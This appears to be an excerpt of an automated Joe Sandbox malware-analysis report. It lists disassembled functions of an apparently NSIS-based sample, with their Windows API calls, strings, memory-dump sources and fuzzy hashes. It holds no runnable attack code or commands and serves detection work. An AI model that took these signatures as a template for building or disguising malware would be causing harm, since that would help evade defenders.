Instruction Fuzzy Hash: 3151D5B1900204AFDB219F65CD85B9E7EB8AB14756F10803FE605B72D1D77D9E808B9C

Function 0040337F Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 166
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004033E7
GetTickCount.KERNEL32 ref: 00403464
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 00403491
wsprintfW.USER32 ref: 004034A4
WriteFile.KERNELBASE(00000000,00000000,?,7FFFFFFF,00000000), ref: 004034D3
WriteFile.KERNEL32(00000000,0041F150,?,00000000,00000000,0041F150,?,000000FF,00000004,00000000,00000000,00000000), ref: 0040356A

Strings

P1B, xrefs: 004033A9
X1C, xrefs: 0040343C
X1C, xrefs: 004033ED
... %d%%, xrefs: 0040349E

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID: CountFileTickWrite$wsprintf
String ID: ... %d%%$P1B$X1C$X1C
API String ID: 651206458-1535804072
Opcode ID: 71a0af70068d15f1e2712f5ef5f0e4f02d53f291cdcd50b6d0822de58acd1dbf
Instruction ID: 0313947f0097750978ec936bbe46de4fad37e772bc1cb17ec77dd8e30cfa9ece
Opcode Fuzzy Hash: 71a0af70068d15f1e2712f5ef5f0e4f02d53f291cdcd50b6d0822de58acd1dbf
Instruction Fuzzy Hash: 88518D71900219ABDF10DF65AE44AAF7BACAB00316F14417BF900B7290DB78DF40CBA9

Function 00401EB9 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

GlobalFree.KERNELBASE(00796288), ref: 00402387

Strings

Exch: stack < %d elements, xrefs: 00401ED8
Pop: stack empty, xrefs: 00401F2C
open, xrefs: 00401EFB, 00401F00, 00401F1A

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID: FreeGloballstrcpyn
String ID: Exch: stack < %d elements$Pop: stack empty$open
API String ID: 1459762280-1711415406
Opcode ID: 4c8c09c83ece9067cd01ebc7f99896dd0048823aea7dafec600988da42eaf391
Instruction ID: ae7cb1f2c63b60d7baa415153617f8c61fd22799b34192a347ea6a0a5f6d971a
Opcode Fuzzy Hash: 4c8c09c83ece9067cd01ebc7f99896dd0048823aea7dafec600988da42eaf391
Instruction Fuzzy Hash: 4721D172601105EBE710EB95DD81A6F77A8EF44318B21003FF542F32D1EB7998118AAD

Function 004022FD Relevance: 7.6, APIs: 5, Instructions: 56
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileVersionInfoSizeW.VERSION(00000000,?,000000EE), ref: 0040230C
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 0040232E
GetFileVersionInfoW.VERSION(?,?,?,00000000), ref: 00402347
VerQueryValueW.VERSION(?,00408838,?,?,?,?,?,00000000), ref: 00402360

Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E

GlobalFree.KERNELBASE(00796288), ref: 00402387

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID: FileGlobalInfoVersion$AllocFreeQuerySizeValuewsprintf
String ID:
API String ID: 3376005127-0
Opcode ID: 8c326ffdf613bec965b24eefbd291de90d56381beca0eea403caad45aa1d2aeb
Instruction ID: 606d2f288e59f9406d2e88b5b0598c54d729d8d595f649ff0f3e4a994beab86c
Opcode Fuzzy Hash: 8c326ffdf613bec965b24eefbd291de90d56381beca0eea403caad45aa1d2aeb
Instruction Fuzzy Hash: 82115E72900109AFCF00EFA1DD45DAE7BB8EF04344F10403AFA09F61A1D7799A40DB19

Function 00402B23 Relevance: 7.6, APIs: 5, Instructions: 54
memoryfilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalAlloc.KERNEL32(00000040,00002004), ref: 00402B2B
WideCharToMultiByte.KERNEL32(?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B61
lstrlenA.KERNEL32(?,?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B6A
WriteFile.KERNEL32(00000000,?,?,00000000,?,?,?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B85

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID: AllocByteCharFileGlobalMultiWideWritelstrlen
String ID:
API String ID: 2568930968-0
Opcode ID: a43f8298630559bd8253c369c7e0cb3863940d209ccab43e1d506770e08af364
Instruction ID: 5d007b3c2ae3d1ce6b2586a1921c4ad46276280cee2e515d5d1d957ff8a092fa
Opcode Fuzzy Hash: a43f8298630559bd8253c369c7e0cb3863940d209ccab43e1d506770e08af364
Instruction Fuzzy Hash: 76016171500205FBDB14AF70DE48D9E3B78EF05359F10443AF646B91E1D6798982DB68

Function 004021B5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

ShellExecuteW.SHELL32(?,00000000,00000000,00000000,004CB0B0,?), ref: 00402202

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

ExecShell: success ("%s": file:"%s" params:"%s"), xrefs: 00402226
ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d, xrefs: 00402211

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID: MessageSendlstrlen$ExecuteShellTextWindowlstrcatwvsprintf
String ID: ExecShell: success ("%s": file:"%s" params:"%s")$ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d
API String ID: 3156913733-2180253247
Opcode ID: a6f9f0949098482436c6c9f8cce42b162511fb53d9db31c2e6f8192b5b466978
Instruction ID: bbc106df3db47d5a89d2587a4e22f40687ed87c50c6518a2742e337a88eb4af1
Opcode Fuzzy Hash: a6f9f0949098482436c6c9f8cce42b162511fb53d9db31c2e6f8192b5b466978
Instruction Fuzzy Hash: E001F7B2B4021476DB2077B69C87F6B2A5CDB41764B20047BF502F20E3E5BD88009139

Function 00405E7F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405E9D
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00000000,004037FE,004D30C0,004D70C8), ref: 00405EB8

Strings

nsa, xrefs: 00405E8C

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 74c86182fa67e47248f5fe200c9c22c18b8020e4291a34397a9b0f642818afda
Instruction ID: bbb7b3741c82bae03d84fc31e008e00914f4f4b6280f54d22115683b6c602e07
Opcode Fuzzy Hash: 74c86182fa67e47248f5fe200c9c22c18b8020e4291a34397a9b0f642818afda
Instruction Fuzzy Hash: 39F0F635600604BBDB00CF55DD05A9FBBBDEF90310F00803BE944E7140E6B09E00C798

Function 004078C5 Relevance: 5.2, APIs: 4, Instructions: 238
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34a0988d6b53cb3e5c5cab68a25a042cd6e02f2342b0fd139447399893daab40
Instruction ID: 5b61ba0e549d4a34e11b5feda41afe9ae6537485a044c30e59ebd23bda5797f4
Opcode Fuzzy Hash: 34a0988d6b53cb3e5c5cab68a25a042cd6e02f2342b0fd139447399893daab40
Instruction Fuzzy Hash: BCA14771908248DBEF18CF28C8946AD3BB1FB44359F14812AFC56AB280D738E985DF85

Function 00407AC3 Relevance: 5.2, APIs: 4, Instructions: 211
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5706958415abe038d8bc904968b39eb1c0ab21271a5e62a9b552e9204fe8a243
Instruction ID: 0868455ade8710e2db62ea7c97591ecaf8a07f5330254cde648c5a00cf1b77b0
Opcode Fuzzy Hash: 5706958415abe038d8bc904968b39eb1c0ab21271a5e62a9b552e9204fe8a243
Instruction Fuzzy Hash: 30912871908248DBEF14CF18C8947A93BB1FF44359F14812AFC5AAB291D738E985DF89

Function 00407312 Relevance: 5.2, APIs: 4, Instructions: 201
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11cd2314bdb72fbaaf254cc8ab9d4ea11bc1da16cf3644787fbca669908488dc
Instruction ID: 3981f1dd08afc316d24d9ed5113be2a17ca7da729ed8f25fba603efd3ef4d826
Opcode Fuzzy Hash: 11cd2314bdb72fbaaf254cc8ab9d4ea11bc1da16cf3644787fbca669908488dc
Instruction Fuzzy Hash: 39815931908248DBEF14CF29C8446AE3BB1FF44355F10812AFC66AB291D778E985DF86

Function 00407752 Relevance: 5.2, APIs: 4, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6fc324ba2a3154e694309e6bae2168c7942ffc843c4c16a3e425845c98615c2
Instruction ID: 01891581271c5a124b16634c3a8992e7a6857e255b4271240234ec945a90a24d
Opcode Fuzzy Hash: f6fc324ba2a3154e694309e6bae2168c7942ffc843c4c16a3e425845c98615c2
Instruction Fuzzy Hash: 73713571908248DBEF18CF28C894AAD3BF1FB44355F14812AFC56AB291D738E985DF85

Function 00407854 Relevance: 5.2, APIs: 4, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50afaaeaa81713190e6368922b68e72c74c0f8af07b8473edddf34e42917c2b6
Instruction ID: 94e3b44a92ae0aa4503ed5f8848dd13d39bc4d5c5e61625994f203468061122b
Opcode Fuzzy Hash: 50afaaeaa81713190e6368922b68e72c74c0f8af07b8473edddf34e42917c2b6
Instruction Fuzzy Hash: 25713671908248DBEF18CF19C894BA93BF1FB44345F10812AFC56AA291C738E985DF86

Function 004077B2 Relevance: 5.2, APIs: 4, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1e8f36220be8f98feef1199d10cba6751babd433578914259dc57061f930aad
Instruction ID: 61f7b93237898aea062553d5d4b8719da8ac7eccb5076a10c91df3859b53dd49
Opcode Fuzzy Hash: c1e8f36220be8f98feef1199d10cba6751babd433578914259dc57061f930aad
Instruction Fuzzy Hash: 98612771908248DBEF18CF19C894BAD3BF1FB44345F14812AFC56AA291C738E985DF86

Function 00407C5F Relevance: 5.2, APIs: 4, Instructions: 156memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNELBASE(?), ref: 004073C5
GlobalAlloc.KERNELBASE(00000040,?,00000000,0041F150,00004000), ref: 004073CE
GlobalFree.KERNELBASE(?), ref: 0040743D
GlobalAlloc.KERNELBASE(00000040,?,00000000,0041F150,00004000), ref: 00407448

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID: Global$AllocFree
String ID:
API String ID: 3394109436-0
Opcode ID: b4e0c1391c46ae50f73649b3c762cd7b27ce57b462bacfc2a9e8da119b19f928
Instruction ID: da36524f31269fd1e9de8fc6705d7123eeae9c681c0d19372ba3dadca10d6d3f
Opcode Fuzzy Hash: b4e0c1391c46ae50f73649b3c762cd7b27ce57b462bacfc2a9e8da119b19f928
Instruction Fuzzy Hash: 81513871918248EBEF18CF19C894AAD3BF1FF44345F10812AFC56AA291C738E985DF85

Function 0040139D Relevance: 3.0, APIs: 2, Instructions: 42windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013F6
SendMessageW.USER32(00000402,00000402,00000000), ref: 00401406

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 5a31974c6ff286c329462761e498969acf5a6972bf7682297af78da516706e42
Instruction ID: d71d45502f518029c3ce7990b7c8d381ac94a1bb539c673c2af025244294d997
Opcode Fuzzy Hash: 5a31974c6ff286c329462761e498969acf5a6972bf7682297af78da516706e42
Instruction Fuzzy Hash: 96F0F471A10220DFD7555B74DD04B273699AB80361F24463BF911F62F1E6B8DC528B4E

Function 00405E50 Relevance: 3.0, APIs: 2, Instructions: 15fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 6f817a4f04f8c8cc68f88398dd52813d28edb2112aa12cde00d29204b34f1fbe
Instruction ID: fe2e31f24f36ecb58ba6038de6e4569557e5a61990f2f31681ab57118d472e11
Opcode Fuzzy Hash: 6f817a4f04f8c8cc68f88398dd52813d28edb2112aa12cde00d29204b34f1fbe
Instruction Fuzzy Hash: BCD09E71554202EFEF098F60DE1AF6EBBA2FB94B00F11852CB292550F0DAB25819DB15

Function 00405E30 Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,00406E81,?,?,?), ref: 00405E34
SetFileAttributesW.KERNEL32(?,00000000), ref: 00405E47

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 404706a0ec70c465fc6e77d3f379a59e81a865ab84cdc077efcd7274a0164b66
Instruction ID: a99f375bd2b1051765f890e1d94d2f722c1bb1ba0a12d38356d8610c0186b9c0
Opcode Fuzzy Hash: 404706a0ec70c465fc6e77d3f379a59e81a865ab84cdc077efcd7274a0164b66
Instruction Fuzzy Hash: 84C01272404800EAC6000B34DF0881A7B62AB90330B268B39B0BAE00F0CB3488A99A18

Function 00403336 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,000000FF,?,004033CE,000000FF,00000004,00000000,00000000,00000000), ref: 0040334D

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

